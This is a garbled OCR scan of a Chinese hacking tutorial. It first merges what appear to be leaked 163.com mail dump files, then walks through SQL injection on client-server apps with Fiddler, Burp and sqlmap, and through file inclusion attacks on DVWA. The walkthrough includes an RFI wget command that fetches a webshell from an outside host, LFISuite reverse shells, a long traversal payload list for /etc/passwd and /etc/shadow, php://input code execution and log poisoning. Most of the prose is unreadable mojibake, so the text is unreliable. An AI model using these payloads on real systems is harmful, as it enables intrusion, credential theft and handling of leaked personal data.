163comll7.txt 163comll8.txt 163coml19.txt 163com120.txt 163coml21.txt 163com122.txt 163coml23.txt 163coml24.txt
163coml25. txt 163coml26. txt 163coml27.txt 163coml28.txt 1é3coml29.txt 163coml30.txt 1lé63coml3l. txt 163coml32. txt
163com133.txt 163coml34.txt 163coml35.txt 163coml36.txt 163coml37.txt 163coml38.txt 163coml39.txt 163com140.txt
163coml4l.txt 163coml42.txt 163coml43.txt 163coml44.txt 163coml45.txt 163coml46.txt 163coml47.txt 163com148.txt
163coml49.txt 163coml50.txt 163coml51.txt 163coml52.txt 163coml53.txt 163coml54.txt 163coml55.txt 163coml56.txt
163coml57.txt 163coml58.txt 163coml59.txt 163coml60.txt 163comlél.txt 163coml62.txt 163comlé63.txt 163coml64.txt
163comle5. txt 163coml66. txt 163coml67.txt 163coml68.txt 163coml69.txt 163coml70.txt 163coml71.txt 163coml72.txt
163coml73.txt 3coml74.txt 163coml75.txt 163coml76.txt 163coml77.txt 163coml78.txt 163coml79.txt 163com180.txt
163coml8l.txt 3comlB2.txt 163coml83.txt 163comlB84.txt 163coml85.txt 163coml86.txt 163coml87.txt 163coml188.txt
163coml89. txt 163coml90. txt 163coml9l.txt 163coml92.txt 163coml93.txt 163coml94.txt 163coml95. txt 163coml96. txt
163com197.txt 163com198.txt 163com199.txt 163com200.txt 163com201.txt 163com202. txt 163com203.txt 163com204.txt
163com205. txt 163com206. txt 163com207.txt 163com208.txt 163com209.txt 163com210.txt 163com211.txt 163com212.txt
163com213.txt 163com214.txt 163com215.txt 163com216.txt 163com217.txt 163com218.txt 163com219.txt 163com220.txt
163com221.txt 163com222.txt 163com223.txt 163com224.txt 163com225.txt 163com226.txt 163com227.txt 163com228.txt
163com229. txt 163com230. txt 163com231.txt 163com232.txt 163com233.txt 163com234.txt 163com235.txt 163com236. txt
163com237.txt 163com238.txt 163com239.txt 163com240.txt 163com241.txt 163com242.txt 163com243.txt 163com244.txt
163com245.txt 163com246.txt 163com247.txt 163com248.txt 163com249.txt 163com250. txt 163com251.txt 163com252.txt
163com253. txt 163com254. txt 163com255.txt 163com256.txt 163com257.txt 163com258.txt 163com259. txt 163com260. txt
163com261.txt 163com262.txt 163com263.txt 163com264.txt 163com265. txt 163com266.txt 163com267.txt 163com268.txt
163com269. txt 163com270.txt 163com271.txt 163com272.txt 163com273.txt 163com274.txt 163com275.txt 163com276.txt
163com277.txt 163com278.txt 163com279.txt 163com280.txt 163com281.txt 163com282.txt 163com283.txt 163com284.txt
163com285. txt 163com286.txt 163com287.txt 163com288.txt 163com289.txt 163com290.txt 163com291.txt 163com292.txt
163com293.txt 163com294.txt 163com295.txt 163com296.txt 163com297.txt 163com298.txt 163com299. txt 163com300. txt
163com301.txt 163com302.txt 163com303.txt 163com304.txt 163com305.txt 163com306.txt 163com307.txt 163com308.txt
163com309. txt 163com310.txt 163com31l.txt 163com312.txt >all.txt

K 3 gl &5 T SO

Hi15:
JE R IA R gz a2, Bz cat *.txt >all.txt B[,
APATHIE
BRTE txt XAEEFIE] linux &, REHAT EHMAGS, WE 4 s, 4762 B a) R
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B r00t@192.168.17.136:22 - Bitvise xterm - root@kali: ~/data e 50 i S
163coml@6.txt 163coml@7.txt 163coml@8.txt 163coml®d.txt 163comlld.txt 163comlll.txt
coml12.txt 163comll3.txt 163comlld.txt _163comll5.txt 163comll6.txt 163comll7.txt
18.t 163com119.txt  163coml20.txt 163foml2l.txt 163coml22.txt 163coml23.txt 163col
xt  163coml25.txt 163coml26.txt 163coml27.txt 163coml28.txt 163coml29.txt 163com13@
163com131.txt  163coml32.txt 163coml33.txt 163coml34.txt 163com135.txt 163coml3
com137.txt 163com138.txt 163com139.txt 163comlde.txt 163comldl.txt 163comld2.txt
43.txt  163comld4.txt 163comld5.txt 163comld6.txt 163comld7.txt 163comld8.txt  163comldd.t
163com150.txt  163coml51.txt 163com152.txt 163coml53.txt 163com154.txt  163coml55.txt
6. txt 163coml57.txt 163com158. txt 163com159.txt 163coml16@.txt 163coml61.txt 163]
163com163.txt 163coml64. txt 163com165.txt 163com166.txt 163com167.txt 163comi]
t 153:0m169Atxt 163coml7@.txt 163com171.txt 163coml72.txt 163coml173.txt 163com174. ¢}
163com175.txt  163coml76.txt 163coml77.txt 163coml78.txt 163coml79.txt  163coml8e.txt
163com181.txt  163coml82.txt 163comi83.txt 163coml84.txt 163coml85.txt 163coml86.txt 163
com187.txt  163com18s. 163com189.txt  163com198.txt 163comi9l.txt 163coml92.txt  163coml]
03.txt  163com194. 163com195.txt  163coml96.txt 163coml97.txt 163coml98.txt  163comi99.t]
Xt  163com20@.txt 163com20l.txt 163com202.txt 163com203.txt  163com204.txt  163com205.txt
163com206. txt 163com207.txt 163com2@8. txt 163com2@9. txt 163com210. txt 163com211.txt 163]
com212. txt 163com213.txt 163com214.t 163com215. txt 163com216.txt 163com217.txt 163com2}
18.txt 163com219.txt 163com220. txt 163com221.tx 163com222.txt 3.txt 163com224. ¢
Xt  163com225.txt 163com226.txt 163com227.txt 163com228.txt  163com229.txt  163com230.txt
163com231.txt 163com232.txt 163com233.txt 163com234.txt  163com235.txt  163com.
com237.txt  163com238. 163com239.txt  163com240.txt  163com241.txt  163com242
43.txt  163com244.txt  163com245.txt  163com246.txt  163com247.txt  163com248.txt
163com250.txt  163com251.txt  163com252.txt 163com253.txt  163com254.txt
163col 6. txt 163com257.txt 163com258. txt 163com259. tx 163com260. txt
com262. txt 163com263. txt 163com264. txt 163com265. txt 163com266.txt 163com267.txt
163com269. txt 163com270. txt 163com271.txt 163com272.txt 163com273.txt 163com274. 14
om275.txt  163com276.txt  163com277.txt 163com278.txt  163com279.txt  163com280.txt
xt  163com282.txt 163com283.txt  163com284. 163com285.txt  163com286.txt
163com288.txt  163com289.txt  163com29@.txt  163com29l.txt  163com292
om294.txt  163com295.txt  163com296.txt  163com297.txt  163com298.txt  163com299.t]
163com300.txt  163com301.txt 163com302.txt 163com303.txt 163com3@4.txt  163com3e5.txt
163com306. txt 163com307.txt 163com308. txt 163com3@9.txt 163com310.txt 163com311.txt 163]
com312.txt >all.txt

5.8F4
R we -l filename i 2R EF A AT HATE. (TR N2 REE A txt CHAT
B, EGTHRTE T AE R SO E A 4

mv all.txt all

find /root/data/-name "*.txt" |wc-l  Giit AL

find /root/data/ -name "*.txt" | xargs cat|grep -v A$|wc -l EFBRTHRE G SCAHFATHL

6.2 HALRE

AT T4 sortall.txt |uniq >163maild.txt a S BATHEFF I L8, WAL 163maild.txt 3.
A%]\éljil::

1.4

we -| file 8IS SO 94T 2L

2 IR E A

sort all.txt |unig >163mail4.txt

2.8 KT —IK c/s R/ ¥ HIE E WAL B

antian365 by Big =K

2.8.1 #EiA

KT MK C/S BB EER, R A w0 AL — RS EIAIH .
YOER, M PEEN XA TR a, Wt UAGZ WEB J7 m 2 & I,
ML C/S St REMH] - H & BT AR N & .
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2.8.2 SRR

ARG, ISR R AR R T C/S BRI, AR A R HE I
REEIER, XADIIFA T, ERBANTIHIME ARG, St kIl—4 1
A, JROK C/S S A AE A2 HTTP A A 3

4 Progpes Teerk FiddlerWeb Debugaer - 0 X _

|Fb Ht Ris Toos View Help B Fdder [} Geoidge [ P— 5 s - -
8 WinCorfg C) ¥ Replay X~ ) o EUKD* Keep: Al sessons 51y Process 4 Fnd [ Seve [Oﬁ)m | o fF =% - RS 0

s ek i bt (R By Gy e e Cmew Gdn M) Qs | ol | B

3 oW om LIGELI fisigery A wade gy . Launch IE fo #eseler!dUH.urabq‘utHanl = c - g |

B 2w ! e o e e i AR OUEMAKE 0 | B

3 M W 3 Iechersonfiamnbad v ] o Fadesopt | g w BEAT e

?; m AP R bt i ). E™ gﬁ!g HEADAERA

EE 3 Frddemntsan 10 .. s = BREe TEABE: e 0 228 |
:5-5 m AP 3 Jonm 3 .. e

E 3 fthlurtr 48 aiati.. 8 s YFAEE: B 0 2285 1
B m o 1 e i s L | DIHEER TRAEE

B ! 1 . Azags RIS
VR 3 heaten 1 . dEEiER

3 m AP 1 o ) ) o B L #0: -

3 m 3 lntising 1 . WHEEE

:311 n 3 hosihar 2 .. A 5o
34 W Hmw 1 ety il i, ] T - A A A

&1 Fiddle ENAMIMERER
M AT AT DL B — AN AR, 28 2 HTTP LA,  IX T ok
T~¢ﬂ%,&mE %%MWB%%ﬁ%M%%@Mﬁ%

beat Zw m—rn/1 1

FOST /he:
sid: 433253540052002727537F9A€.A272910
st

Cnm:em: Length: O

Find... {press Ctrl+&nter to highlight al) [ viewinNotepad

&2 C/S RIFARY HTTP &

ATAT LRI, X AR ) HITP AR fRifE, 17 H AR ISAUER HTTP
BHHFER) Cookie, fHZ, MHEMMIZEREA —MEEMH IR, BT, &£
X BAEN sid a2 A AR R

JE T AR, SR A% G SC IR N s R 7 THI 480« HIX BLAFTE
M), AR I Fiddle BEAT 1AL, T el XA AR B4 Se3ile ?

FEIX BIRAT A 722 Brup+4 R AR AL BT I EL 0 (G LR
Ty, EREEANEH SQLMAP 31D .
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(#) Request SN

| Forward || Drop | | Interceptison | | Action

Raw | Params IHeaders IE]

POS W T 1P/ 1.1
sid: 4BD268640052002727537F3ABAZ272910
Content-Type: application/s-www-form-urlencoded
Host]

Content-Length: 47

Expect: 100-continue

Connection: close

pageNumber=18pageSize =25&birthdayEnd=2017-08-06

3 HiEE

E¥ sqlmap.bat - ] = [

and DENS: E

4 SQLMAP1

2.8.3 FTiBRIRIHL

FEMEX AR, R BZ N BAER S 28I sid BETINE, H2 sid
IR, IXAUE K 1, GRS, IS YIRS T o 1T HAE SO
b2 sk, = sid BRI, w] A I E R Bt e BE i A (A
FE, BN DUasEAt A M T .
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&

2.9 TiRA MM B EH A

antian365 by eth10

SREARGER T — DA EMAMA TR, &7 NEAEZ T AR
MR, AR DT T 8 2% TR AT A AR A SO R TR 3 sl AT A I3 [ —
/> LFI shell, 3#Id3R B LFI shell OGRS AR, AIMTATHATHR 4, AR A
MBS AR A K 22 A B AR SR IO, AR T A S 5 Tt T LA getshell X
SCE B EGR A SCAE H AR RO, R TR, thE RIS
Zd e, LR ER, SRE EHm R AT SR RS L RS SE AT ! ¢)

2.9.1 XH4EE R RE

SO R 3 R AR T AR — 2 o F AR 5 A — AN R SO, SR A8 At
AT S A, R T EAE SO RS, A — R A I 2 4 ]
H2A I AT BEANHA E 77 LA 5 MRS ELAR S, B DARE 2 SR AR 2 R 0 2ok A% 36 75 2226015 1) 5
i, ERAEMRHAE SRS RS, RS RREETRELIE, SEIMBIRZ SR
BARAE AR NR] T SRS B AR, T3 B A8 B B A AT o T SO
Wy N A SO (Local File Inclusion) A1z F2 3C 44 £ 25 (Remote File Inclusion) .
allow_url_fopen Al allow_url_include > On 15 A& e R SO L5 T, allow_url_fopen
N off F1 allow_url_include Jy On A4S SRR, ik 1 FCE SR, AR EER
M AL E, BT LA allow_url_fopen BN T off.

= php. iniE3 l

jupload_tmp dir.=
; -Maximum-allowed-size . for -uploaded.files.
;-http://php.net/upload-max—-filesize

791 upload max filesize = 2M
793 ; -Maximum number-of - files- -that - -can -be -uploaded.via-a single request
754 max file uploads =-20

; ‘Whether . to.allow-the.treatment.of .URLs. (like -http://.or.£tp://) -as.files.

; -http://php.net/allow—url—-fopen

allow_url fopen.-=-0ff

B e M e e s T o e B e B
(e == I = T BT U X R S

MM omm@D@m@oeomeoemomoo -] -

; ‘Whether -to-allow-include/requirg-to-open-URLs- (like -http://-or -£ftp://) -as-files.
;-http://php.net/fallow—url-includ
allow _url include.=.Cn
; ‘Define.the.anonymous . ftp . password. (your .email -address) . .PHP"s.default.setting
; -for.-this-is.empty.
10 ;-http://php.net/from I
11 ; from="-ohn@doe.com"

K1 php.ini B &
T A SO R R Y R B SE R BB A R DU A ¢ include(),require()

include_once(),require_once()-
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include(): HATH| include AL SCHF, AR E AR R =A%, HAK
Ak EEAT

require(): HEFET BTV SO, AR E WS 27 AR B d R, T
1EJAA

include_once()#! require_once(): # XAFHFMAE OB ESIIASHRESE. CRART)

2.9.2 B ERIALE

S AR, AT LR S U, URARRE SO AR, iR s, i
X BRSO AT B IR, A U P WU T SRR A ARG P K P, B = m e T s I
FRER MR S AT E R A O S I TRIE 7T RE T BT A AR, AN At SO0 5
R AL

B, HE AR ITEA LN =R

— I EFRENL LR A, EER A .

=L AEWEBATM TR, FERERE S, AT "allow_url_fopen" & I 1)
GRNRBUER, BN ASBED .

= AE AN R AR SO, BRI I SO L IR IR R shell AN KA
1, AR ISIREEN 7, B4 shell WATELE T, B FHEEIE —DESER shell. AT
DL AL S — AT AT emd 11114 shell, SAJE 4 wget I-0 %0 (J5f8l:
http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget  http://x.x.x.x/muma.txt
-0 muma.php) SKE—AFE IE/) webshell. WH RFEFEH wget i, FHHFAR T,
& (RTINS = g el < <051 NP 3 i B 17 N ot 7 NEE B

HSERR T PL B =550, MAZIEA — AU R PUTE S A 2!

2.9.3 SLIHIFIE

ARG IS EESE R dvwa P G478, W& 2 Fias. DVWA (Damn Vulnerable
Web Application) J&H PHP+mysql 4’5 ) —& web JRiFAF- G, 18 16 5 250502 BT i 0 94 it s V]
ML, TP EEE T SQLIEN XSS AHISCAFL S A ST EF — L8 WL web 4RI,
HHAZTERTFER, AT LANE P B N
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e T T T T— —— R

‘ a © localhost
L TG Y T OK;

[&] Welcome : Damn Vulnerabl X f§

Welcome to Dmn Vulnerable Web Application!

Instructions | Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. lts main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
Setup / Reset DB | developers better understand the processes of securing web applications and to aid both students & teachers to

learn about web application security in a controlled class room environment

Brute Force The aim of DVWWA is to practice some of the most common web vulnerability. with various difficultly

levels, with a simple straightforward interface

Command Injection

CSRF

General Instructions

File Inclusion

It is up to the user how they approach DVWA_ Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the

|
|
|
|
File Upload |
I system as best as they possible could by using that particular vulnerability.
|
|
|
|
|

Insecure CAPTCHA

SAL Injection

SAL Injection (Blind)
Weak Session IDs
XSS (DOM)

XSS (Reflected)

X55 (Stored)

P q tedd

Please note, there are both d and vulnerability with this software. This is
intentional. You are encouraged to try and discover as many issues as possible

DVWA, also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious
actions. Note, there are also various public methods at bypassing these protections (so this can be see an as
extension for more advance users)!

There is a help button at the bottom of each page. which allows you to view hints & tips for that vulnerability
There are also additional links for further background reading, which relates to that security issue

DVWA Security |
PHP Info | WARNING!
About | Damn Vulnerable Web Application is damn vulnerable! Do not uplead it to your hosting provider's public
html folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual
- | machine (such as or ) which is set to WAT networking mode. Inside a guest machine, vou

K2 dvwa &

2.9.4 A A ERHATR

AR FEAF B2 LFLSUIT A SO SR T H, & —30H python2.7 a5 s,
1%i& T Windows, Linux A1 OSX, JFHEXMEHSHIIEE, BT EMESL, % T
AR 7 U E SO & B i, Wil 3 Fros. 554k 4 rimadt — AN n] F1 H B 3
Fl|—A LFI shell 5, fR7] L% “reverseshell” iy &% 5 Hi3fiAt—A I 1) shell. {E2H]
FERARDALERE RS BT /e %Rz, tbinfEH “nc - lvp port”
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B3 JURAN [ R ST 5 Bt A

&

2.9.5 A H AR A B

TEZ A SO SRR, RZEEE AT RO, 40 linux T 8269 3044
C..]..]..]..Jetc/shadow LA J%../../../ .. etc/passwd ) , SREEHL — LSRS08 W) HE AR ) — B8 S04,
WK 4 fiior

| € o4 5% OO

localhost

. N 0 -
o, .
: |.- ‘- !. [ Vulnerability: File Inclusion : X : —— :
L
W #E =\
- v A « phpStudy > WWW > dvwa > vulnerabilities
b=t & ]
A HEERE
brute mj test.txt -(IC=&
Home I ¢@ OneDrive captcha %
M) HEEE) B
Instructions I [ s csrf W
Setup / Reset DB | B :"“
1
Brute Force I ‘; = sqh
- = = sqli_blind

Command Injection ] 3 T ipload
CSRF | = ek
File Inclusion ] m=E xss_d
File Upload | i AR (C) xss.r
Insecure CAPTCHA | - IR (D) e

|- test.txt
SQL Injection | - HEEE E) ) view help.php
SQL Injection (Blind) | | R E B view source.php
Weak Session IDs | ‘ & R ™. view_source_all.php

K4 B kAR s

PAF & — e S gl A ], AR SR DL HEAT I B . 7ERR AR H S T a s
TIRZ WA, THITEE!

../../tomcat/conf/tomcat-users.xml

Wi

%2e%2e%2f which translates to ../

%2e%2e/ which translates to ../

..%2f which translates to ../

%2e%2e%5c¢ which translates to ..\

%c1%1c

%c0%9v

%c0%af

.%5c¢../

oSS Jetc/hosts%00

A AT Jetc/hosts

../../boot.ini

[ S S %2A

A AT ete/passwd %00
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SAA A fete/passwd

S Jete/shadow %00

WSS Jete/shadow

[0 00000 Jetc/passwd AN

/.00 0000 ... Jetc/shadowr”

/.. 0000000 et/ passwd

/... 000 ] . . Jetc/shadow

/.1.1.1.1.1.1.1.1.1.]./etc/passwd

/.1.1.1.1.1.1.1.1.].].Jetc/shadow

GG \etc\passwd

LG \ete\shadow

AL \etc\passwd

AL \ete\shadow

/NN Jete/passwd

7.\ .\ NN\ Jete/shadow

A\/ANLZAN/AN/ AN/ A\ Jete/passwd

AVZAZAN/AN/ AN/ A\ Jete/shadow

A \ete\passwd %00

GGG \etc\shadow %00

AL \ete\passwd %00

A \etc\shadow %00

%0a/bin/cat%20/etc/passwd

%0a/bin/cat%20/etc/shadow

%00/etc/passwd%00

%00/etc/shadow%00

%00../../../../../../etc/passwd

%00../../../../../../etc/shadow

[ S]] Jetc/passwd%00.jpg

[ S]] Jetc/passwd %00.html

/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd

/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow

[%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%
2e/etc/passwd

[%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%
2e/etc/shadow

%25%5¢..%25%5c..%25%5¢..%25%5¢..%25%5¢..%25%5¢..%25%5c¢..%25%5c..%25%5¢..%25
%5¢..%25%5¢..%25%5c..%25%5¢..%25%5c¢..%00

J%25%5c..%25%5¢..%25%5C..%25%5¢C..%25%5¢..%25%5C..%25%5¢..%25%5C..%25%5c.. %25
%5¢..%25%5¢..%25%5c..%25%5¢..%25%5c¢..%00

%25%5¢..%25%5c..%25%5¢..%25%5¢..%25%5¢..%25%5¢..%25%5c¢..%25%5c..%25%5¢..%25
%5¢..%25%5c¢..%25%5c¢..% 25%5c¢..%25%5c..%00

%25%5¢..%25%5c..%25%5¢..%25%5¢..%25%5¢..%25%5¢..%25%5c¢..%25%5c..%25%5¢..%25
%5¢..%25%5¢..%25%5¢..% 25%5c..%25%5¢..%255cboot.ini

J%25%5c..%25%5¢..%25%5C..%25%5¢C..%25%5¢..%25%5C..%25%5C..%25%5¢..%25%5C..%25
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%5C..%25%5¢C..%25%5¢..%25%5¢..%25%5c..winnt/desktop.ini
\\&apos;/bin/cat%20/etc/passwd\\&apos;
\\&apos;/bin/cat%20/etc/shadow\\&apos;

WSS Jconf/server.xml

[ A binfid |

C:/inetpub/wwwroot/global.asa

C:\inetpub\wwwroot\global.asa

C:/boot.ini

C:\boot.ini

A [localstart.asp%00

WAd A [ localstart.asp

S]] /boot.ini%00

A AT /bootini

/.1.1.1.1.1.1.1.1.1.]./boot.ini

[ S A A [boot.ini%00

[ S]] [boot.ini

[\ NN\ /bootini

JAN/AN/ AN/ AN/ AN/ A\ /boot.ini

LA \bootini

AL \boot.ini%00

AL \bootini

[ A A [boot.ini%00.html

[ S]] /boot.ini%00.jpg

[k d d o]

.%c0%af../..%c0%af../..%c0%af../..%c0%af../ .. %c0%af../..%c0%af../boot.ini

[%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%
2e/bo

oSS [var/log/httpd/access_log

oA S]] [var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

oA S]] Jete/httpd/logs/acces_log

oSS Jete/httpd/logs/acces.log

oA Jete/httpd/logs/error_log

oA A Jete/httpd/logs/error.log

oA Ivar/www/logs/access_log

oA S]] Ivar/www/logs/access.log

oA S]] ] Just/local/apache/logs/access_log

oA ] Just/local/apache/logs/access.log

oA S]] var/log/apache/access_log
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WA varflog/apache/access.log
WA varflog/access_log
WA varfwww/logs/error_log
WA [varfwww/logs/error.log

WA Juse/local/apache/logs/error_log
WA Juse/local/apache/logs/error.log

WA varflog/apache/error_log
WA varflog/apache/error.log
WA varflog/access_log
WA var/log/error_log
/var/log/httpd/access_log

/var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../..Japache/logs/error.log

../../..Japache/logs/access.log

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

/var/log/access_log

/var/log/error_log
../../../WEB-INF/web.xml

2.9.6 #23 T EE3REX LFI shell

13247 LRI SUIT T H J e PR M ik
B4 python Ifisuite.py, WK 5 Fias. SRR IRATIEREFH Dhae bR 1.
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EX CHWINDOWS\system32\cmd.exe - Hisuite.py

K5 BT A AR H LA
2. B cookie

TERANVEBFHIIRERR 1 )5, SR ETRANTH A cookie, 411E] 6 Fix:

ir=something’ )

K6 15 & cookie
3.3KHX cookie
WG 2% F12console %i A\ document.cookie Bl Al 3R EX 2l 2471 cookie, W& 7 Fizs.
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el SCACY S WAl GPIM @020 it G R

localhost

e . Vulnerability: File Inclusion
Instructions | File 1
Setup / Reset DB '
Hello admin
e | Your IP address is: ::1
Q D Elements Network Sources Timeline Profiles Resources Audits | Console

© ¥ <topframe> v @ Preservelog

document.cookie

"security=low; PHPSESSID=rbefo6v3fr2llhref2cki4hies”

K7 3REL cookie

4. JTFREL LFI shell
I\ cookie J5, FAIMEAFIERE— NI AYGRIA, 7EMbRATIES 3, EHRIHAE,
AT N TR Hu L RY AT B D SR ECE]—A shell, 41 8 PR

1$ whoami

K8 R ZIFREL LFI shell

5. H B EEHRIREL Ifi shell
R IRATAE0 I8 A B A He m] LR [ shell, FRATTAT LA FE E 3h T bk
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Ko B ahHrdis
WP 2 Ja BA T EE A — DS BRSO, BA TR T H 3T A — A SRR,

= [fisuite.py

5| nc.exe ,
pathtotest.bt re
pathtotest huge.txt

= pipper.py

E pipper.pyc
README.md

B screen.png

™ socks.py
[P socks.pyc

K10 RSO
B E 1% T R 20 Re i 4%, JF HnCARIA .
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K11 U
W 12 Ao, FATRIDFREL T — shello

ric: U

K12 R IIFREL shell

6. FRBL— N I ) i
FERATE LRI Ifi shell J5, AT LUEH reverseshell SRAKE—AN [ ) ZEHz, FAld
JeiEAT MEWT I &Rz, WK 13 fios.

9 Y LFISuite—maste

K13 B BT M ERE
FATHIN reverseshell J5 1 E ip BIA]
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website seems to be vulnerable. Ope

1lnerabilities\fi§

bilities\fi§

K1a  BHE ip KimH
I BA TR ISR E] T — A S 4%, WKl 15 Fros.

A DNS

15 SRR i

7. 3R

AN AT AT DA A A A e, SR S AR 10T B Y B AR et BE R D SR AR LRI
shell. 77455 EIARZ — M1, FUCGRAHEATHIR T .
8. WUt i fi H A2

X B FE A PHP (1) —Le iR B A AT, 3@ B H PHP #5 Bl SR G X Le AR
HATEI, SEAETPRAAE - ENZER, 25 . HTRIAR, K sss
2RI, [proc/self/fd LA K phpinfo BB, F& T IEACHS N iZ & FH phpinfo B—ANENK FAE
— M PHP BAAS, ATTEAT S, (2% ARSI, 2K R%E, HEREReRER!

1./proc/self/environ

B 053 /3L 61 T B http://www. antian365.com R HMI: MH 28 H HTAE: Hih
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JEI V| http://127.0.0.1/vulnerabilities/fi/?page=../../../../..]/..]..]../proc/self/environ & &
TU@/‘/prOC/self/enwron SO, WHHR AT AR AR e AE B LB R LA i), 0 SRR [

j‘jl’

AR Toik iR . @ WA PLUT A S,

SRJE ] User-Agent SkH7EN PHP ARHY

(ﬁ[k?php system(‘whoami’);?>) A7 XE, WRARSHE B Ihid N 31 User-Agent Sk, JEIT

HHIMBEH R E, RESPIT
HEIET, BAMFEFEHLE linux!
2.php://filter

php://filter 5& PHP 155 HRFE IMOR, 1EHZIERN—
254 php://input (IR0 SREAT PHP ARES, WK 16, HAMERT LUK AT G

PRES PHP ARG . 1T JCids Iz S U7 TR AR, PR

—A IR RAE B AR,

(Rl L FRATT AT A

145 AT base6d Zmidii N, &l 17,
Request

Raw | Params | Headers | Hex | XHL

Response

Raw | Headers | Hex | HTHL | Render

GET fvulnerabilities/f Pagesphy //filter resonrcesphy: /finput HTTR/L 1
Host: 172 24,2306
User-hgent: Tozalla/5. 0
Firefos/H. 0

(Tindows 1T 10.0; Tinbd; =64; 1v:54.0) Gecko/20100101

>

WP/ 200 g

Dete: Fri, 21 Jul 2007 06: 14:33 6
Server; Apache/.4.75 (Debian)
Expizes: Tue, 23 Jun 2009 12:00:00 6T

hecept: text/ntul, application/shinl tum], application/mml: =0, 8, #/%: el Crche-Control: no-cache, must-revalidate
Accept-Llanguage: zh-C, 2hy o=l §, en-U8: 0.5, em el 3 Pragua; no-cache
Accept-Encoding: iy, deflate Tary: hecept-Encoding
Cookie: PHPSESSID=vintfpadieqvdalo T Hindfed: seeurity=lov Content-Length: 4037
Comnection. close Comeetion: close
Upgrade-Insecure-Requests: Content=Trpe: text/ntnl; cherset=utf-§
Content-Length: 13
- data
(phy systen(’shoani’);7
100CTYRE htal FIBLIC “-//730//010 THTIL 10 Straet//E0°
“http: /foww: 3. ore/TR/vhtul 101D xhtal -striet. dtd”
K16  php://filter 44T PHP AL
Request Response
Raw | Perams | Headers | Hex | XML Raw | Headers | Hex
GET a || | [HITR/11 200 OF
frulnerabilities/fi/Tpage=phy: //f11t ex/read=comvert. basebd-encode/resoures=phy: /) input Dete: Fri, 20 Tul 2017 06:17:15 6T
HTE/L Server: Apache/2.4.23 (Debian)

Host: 170 242506

User-kgent: Mozilla/3. 0 (Tindows 0T 10.0; Vinbd; x6d; rv:54.0) Gecko/20100101
Firefon/3. 0

decept: text/hinl, application/shinl #xal, application/ml; 0. 9, #/k; 0=l §
Aeeept-Language: h-CH, zh;o=0. 8 en-US:q=0. 5, en; =03

Aeeept-Encoding: gaip, deflate

Cook1e: PHPSESSID=vint apadieqyiilovl Li0ndfcl; security=low

Comection: close

Uprade-Insecure-Requests: 1

Content-Length: 25

(ol systen(’ vhoani' )70

&l17

3.php://input

Expires: Tue, 23 Tun 2009 12:00:00 GUT
Cache-Control: no-cache, must-revalidate
Pragna: no-cache

Tary: Accept-Encoding

Content-Length: 4070

Comnection: close

Content-Trpe: text/htnl; chersetntf-8

PD9wakAged] 2d6ViECd3ab ShbiknkTs/Pe==
|DOCTHPE htul PUBLIC "~//V30//0T0 YHTML 10 Strjet//EN"
"http: /e 3. org/TR/xhinl [/0TD /xhtnl [-strict. dtd”

(hinl solns="btp: /fwww w8 org/1999/5htnl ")

php://filter $/4T PHP XI5 base64 %

i H php'//input SRJEHN PHP AR, SR JE i rT BLEAT B S5 NI PHP ACRS, 4

18 ffow, tn] DLl

% 54 T1/4L 61 T
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Iz, WATFREAE url DiRE
Request

Raw | Parame | Headers | Hex | XHL

Response

Raw | Headers | Hex | HTML | Render

ﬂET frulngrahilities/fi pagesphy: /finput HITE/1 1

st 17220806
Usel‘-)‘tzent: lozi11a/3. 0 (Findows T 10.0; Tindd; xd; ovi54 0) Gecko/20100101
Fiaefon/34,
decept: text/htal, application/chtnl oml, spplication/rnl;g=0. 8, A/, gl
Aecept-Lampuage: zh-Cl hygel. § a0 o=l 5, ey o=l 3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=vim ipadeq930rv fndfel; securtty=low
Comection: close
Upprade-Tnsecure-Requests: 1
Content-Length: 13

ply systen! vhoam' )

HITR/L 0 200 o

Dete: Fry, 21 Jul 2017 06:03: 14 GIT
Server: dpache/2.4.75 (Debian)

Expzes: Tug, 23 Jun 2009 12:00:00 ¢
Uache-Control: no-cache, must-tevalidete
Pragna: no-cache

Vary: Accept-Encoding

Content-Length: 4032

lomection: close

Content-Type: fext/htnl; charset=utd-3

we-data

IDOCTYPE btul PUBLIC ™//v3C//0T0 YATAL 1 0 Striet//en”
"http: /v w8, oxe/ T /uhtul OTD/htnl -strict. dtd”

(itn] slns="http: /oo 3. ore/ 1090 /ehtul "

K18 php://input 44T PHP f{HY

4./proc/self/fd

ARGEIAIMA, RKA L, BE 2 AR

5.access_log

X B R H &S, ATV K get iR AK User-Agent £xid s3I H &g, 4R
JE AT LG — A v, Wil 19, A LLSTE User-Agent HY, B R H A SCHRRI AT IR
ES(@J ATE, PAT PHP XA, Wi 20, (HRIX BT EGEX HE GV AR, JF HAl
HESCHFB S, BUREER D), ATeAets HESU, BEHBRANE, REHENE K

ﬁt%%ﬁéi)‘? i) !

IS —

Request

Raw Params. Headers Hex

Response

Raw | Headers | Hex | HTML | Render |

